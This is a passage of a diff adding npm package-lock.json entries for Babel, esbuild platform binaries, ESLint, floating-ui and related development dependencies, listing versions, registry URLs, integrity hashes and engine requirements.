"^7.27.2",+ "@babel/types": "^7.28.4"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/parser": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.28.5.tgz",+ "integrity": "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/types": "^7.28.5"+ },+ "bin": {+ "parser": "bin/babel-parser.js"+ },+ "engines": {+ "node": ">=6.0.0"+ }+ },+ "node_modules/@babel/plugin-transform-react-jsx-self": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz",+ "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/helper-plugin-utils": "^7.27.1"+ },+ "engines": {+ "node": ">=6.9.0"+ },+ "peerDependencies": {+ "@babel/core": "^7.0.0-0"+ }+ },+ "node_modules/@babel/plugin-transform-react-jsx-source": {+ "version": "7.27.1",+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz",+ "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/helper-plugin-utils": "^7.27.1"+ },+ "engines": {+ "node": ">=6.9.0"+ },+ "peerDependencies": {+ "@babel/core": "^7.0.0-0"+ }+ },+ "node_modules/@babel/template": {+ "version": "7.27.2",+ "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.27.2.tgz",+ "integrity": "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/code-frame": "^7.27.1",+ "@babel/parser": "^7.27.2",+ "@babel/types": "^7.27.1"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/traverse": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.28.5.tgz",+ "integrity": "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/code-frame": "^7.27.1",+ "@babel/generator": "^7.28.5",+ "@babel/helper-globals": "^7.28.0",+ "@babel/parser": "^7.28.5",+ "@babel/template": "^7.27.2",+ "@babel/types": "^7.28.5",+ "debug": "^4.3.1"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@babel/types": {+ "version": "7.28.5",+ "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.28.5.tgz",+ "integrity": "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@babel/helper-string-parser": "^7.27.1",+ "@babel/helper-validator-identifier": "^7.28.5"+ },+ "engines": {+ "node": ">=6.9.0"+ }+ },+ "node_modules/@esbuild/aix-ppc64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz",+ "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==",+ "cpu": [+ "ppc64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "aix"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/android-arm": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz",+ "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==",+ "cpu": [+ "arm"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "android"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/android-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz",+ "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "android"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/android-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz",+ "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "android"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/darwin-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz",+ "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "darwin"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/darwin-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz",+ "integrity": "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "darwin"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/freebsd-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.12.tgz",+ "integrity": "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "freebsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/freebsd-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.12.tgz",+ "integrity": "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "freebsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-arm": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.12.tgz",+ "integrity": "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==",+ "cpu": [+ "arm"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.12.tgz",+ "integrity": "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-ia32": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.12.tgz",+ "integrity": "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==",+ "cpu": [+ "ia32"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-loong64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.12.tgz",+ "integrity": "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==",+ "cpu": [+ "loong64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-mips64el": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.12.tgz",+ "integrity": "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==",+ "cpu": [+ "mips64el"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-ppc64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.12.tgz",+ "integrity": "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==",+ "cpu": [+ "ppc64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-riscv64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.12.tgz",+ "integrity": "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==",+ "cpu": [+ "riscv64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-s390x": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.12.tgz",+ "integrity": "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==",+ "cpu": [+ "s390x"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/linux-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.12.tgz",+ "integrity": "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "linux"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/netbsd-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.12.tgz",+ "integrity": "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "netbsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/netbsd-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.12.tgz",+ "integrity": "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "netbsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/openbsd-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.12.tgz",+ "integrity": "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "openbsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/openbsd-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.12.tgz",+ "integrity": "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "openbsd"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/openharmony-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.25.12.tgz",+ "integrity": "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "openharmony"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/sunos-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.12.tgz",+ "integrity": "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "sunos"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/win32-arm64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.12.tgz",+ "integrity": "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg==",+ "cpu": [+ "arm64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/win32-ia32": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.12.tgz",+ "integrity": "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ==",+ "cpu": [+ "ia32"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@esbuild/win32-x64": {+ "version": "0.25.12",+ "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.12.tgz",+ "integrity": "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA==",+ "cpu": [+ "x64"+ ],+ "dev": true,+ "license": "MIT",+ "optional": true,+ "os": [+ "win32"+ ],+ "engines": {+ "node": ">=18"+ }+ },+ "node_modules/@eslint-community/eslint-utils": {+ "version": "4.9.0",+ "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.0.tgz",+ "integrity": "sha512-ayVFHdtZ+hsq1t2Dy24wCmGXGe4q9Gu3smhLYALJrr473ZH27MsnSL+LKUlimp4BWJqMDMLmPpx/Q9R3OAlL4g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "eslint-visitor-keys": "^3.4.3"+ },+ "engines": {+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ },+ "peerDependencies": {+ "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0"+ }+ },+ "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": {+ "version": "3.4.3",+ "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz",+ "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ }+ },+ "node_modules/@eslint-community/regexpp": {+ "version": "4.12.2",+ "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz",+ "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": "^12.0.0 || ^14.0.0 || >=16.0.0"+ }+ },+ "node_modules/@eslint/config-array": {+ "version": "0.21.1",+ "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz",+ "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "@eslint/object-schema": "^2.1.7",+ "debug": "^4.3.1",+ "minimatch": "^3.1.2"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ }+ },+ "node_modules/@eslint/config-helpers": {+ "version": "0.4.2",+ "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz",+ "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "@eslint/core": "^0.17.0"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ }+ },+ "node_modules/@eslint/core": {+ "version": "0.17.0",+ "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz",+ "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "@types/json-schema": "^7.0.15"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ }+ },+ "node_modules/@eslint/eslintrc": {+ "version": "3.3.1",+ "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.1.tgz",+ "integrity": "sha512-gtF186CXhIl1p4pJNGZw8Yc6RlshoePRvE0X91oPGb3vZ8pM3qOS9W9NGPat9LziaBV7XrJWGylNQXkGcnM3IQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "ajv": "^6.12.4",+ "debug": "^4.3.2",+ "espree": "^10.0.1",+ "globals": "^14.0.0",+ "ignore": "^5.2.0",+ "import-fresh": "^3.2.1",+ "js-yaml": "^4.1.0",+ "minimatch": "^3.1.2",+ "strip-json-comments": "^3.1.1"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://opencollective.com/eslint"+ }+ },+ "node_modules/@eslint/eslintrc/node_modules/globals": {+ "version": "14.0.0",+ "resolved": "https://registry.npmjs.org/globals/-/globals-14.0.0.tgz",+ "integrity": "sha512-oahGvuMGQlPw/ivIYBjVSrWAfWLBeku5tpPE2fOPLi+WHffIWbuh2tCjhyQhTBPMf5E9jDEH4FOmTYgYwbKwtQ==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=18"+ },+ "funding": {+ "url": "https://github.com/sponsors/sindresorhus"+ }+ },+ "node_modules/@eslint/js": {+ "version": "9.39.1",+ "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.1.tgz",+ "integrity": "sha512-S26Stp4zCy88tH94QbBv3XCuzRQiZ9yXofEILmglYTh/Ug/a9/umqvgFtYBAo3Lp0nsI/5/qH1CCrbdK3AP1Tw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ },+ "funding": {+ "url": "https://eslint.org/donate"+ }+ },+ "node_modules/@eslint/object-schema": {+ "version": "2.1.7",+ "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz",+ "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ }+ },+ "node_modules/@eslint/plugin-kit": {+ "version": "0.4.1",+ "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz",+ "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "@eslint/core": "^0.17.0",+ "levn": "^0.4.1"+ },+ "engines": {+ "node": "^18.18.0 || ^20.9.0 || >=21.1.0"+ }+ },+ "node_modules/@floating-ui/core": {+ "version": "1.7.3",+ "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.3.tgz",+ "integrity": "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==",+ "dependencies": {+ "@floating-ui/utils": "^0.2.10"+ }+ },+ "node_modules/@floating-ui/dom": {+ "version": "1.7.4",+ "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.4.tgz",+ "integrity": "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==",+ "dependencies": {+ "@floating-ui/core": "^1.7.3",+ "@floating-ui/utils": "^0.2.10"+ }+ },+ "node_modules/@floating-ui/react-dom": {+ "version": "2.1.6",+ "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.6.tgz",+ "integrity": "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==",+ "dependencies": {+ "@floating-ui/dom": "^1.7.4"+ },+ "peerDependencies": {+ "react": ">=16.8.0",+ "react-dom": ">=16.8.0"+ }+ },+ "node_modules/@floating-ui/utils": {+ "version": "0.2.10",+ "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz",+ "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="+ },+ "node_modules/@hookform/resolvers": {+ "version": "5.2.2",+ "resolved": "https://registry.npmjs.org/@hookform/resolvers/-/resolvers-5.2.2.tgz",+ "integrity": "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA==",+ "dependencies": {+ "@standard-schema/utils": "^0.3.0"+ },+ "peerDependencies": {+ "react-hook-form": "^7.55.0"+ }+ },+ "node_modules/@humanfs/core": {+ "version": "0.19.1",+ "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz",+ "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": ">=18.18.0"+ }+ },+ "node_modules/@humanfs/node": {+ "version": "0.16.7",+ "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz",+ "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==",+ "dev": true,+ "license": "Apache-2.0",+ "dependencies": {+ "@humanfs/core": "^0.19.1",+ "@humanwhocodes/retry": "^0.4.0"+ },+ "engines": {+ "node": ">=18.18.0"+ }+ },+ "node_modules/@humanwhocodes/module-importer": {+ "version": "1.0.1",+ "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",+ "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": ">=12.22"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/nzakas"+ }+ },+ "node_modules/@humanwhocodes/retry": {+ "version": "0.4.3",+ "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz",+ "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==",+ "dev": true,+ "license": "Apache-2.0",+ "engines": {+ "node": ">=18.18"+ },+ "funding": {+ "type": "github",+ "url": "https://github.com/sponsors/nzakas"+ }+ },+ "node_modules/@jridgewell/gen-mapping": {+ "version": "0.3.13",+ "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.13.tgz",+ "integrity": "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@jridgewell/sourcemap-codec": "^1.5.0",+ "@jridgewell/trace-mapping": "^0.3.24"+ }+ },+ "node_modules/@jridgewell/remapping": {+ "version": "2.3.5",+ "resolved": "https://registry.npmjs.org/@jridgewell/remapping/-/remapping-2.3.5.tgz",+ "integrity": "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@jridgewell/gen-mapping": "^0.3.5",+ "@jridgewell/trace-mapping": "^0.3.24"+ }+ },+ "node_modules/@jridgewell/resolve-uri": {+ "version": "3.1.2",+ "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz",+ "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">=6.0.0"+ }+ },+ "node_modules/@jridgewell/sourcemap-codec": {+ "version": "1.5.5",+ "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz",+ "integrity": 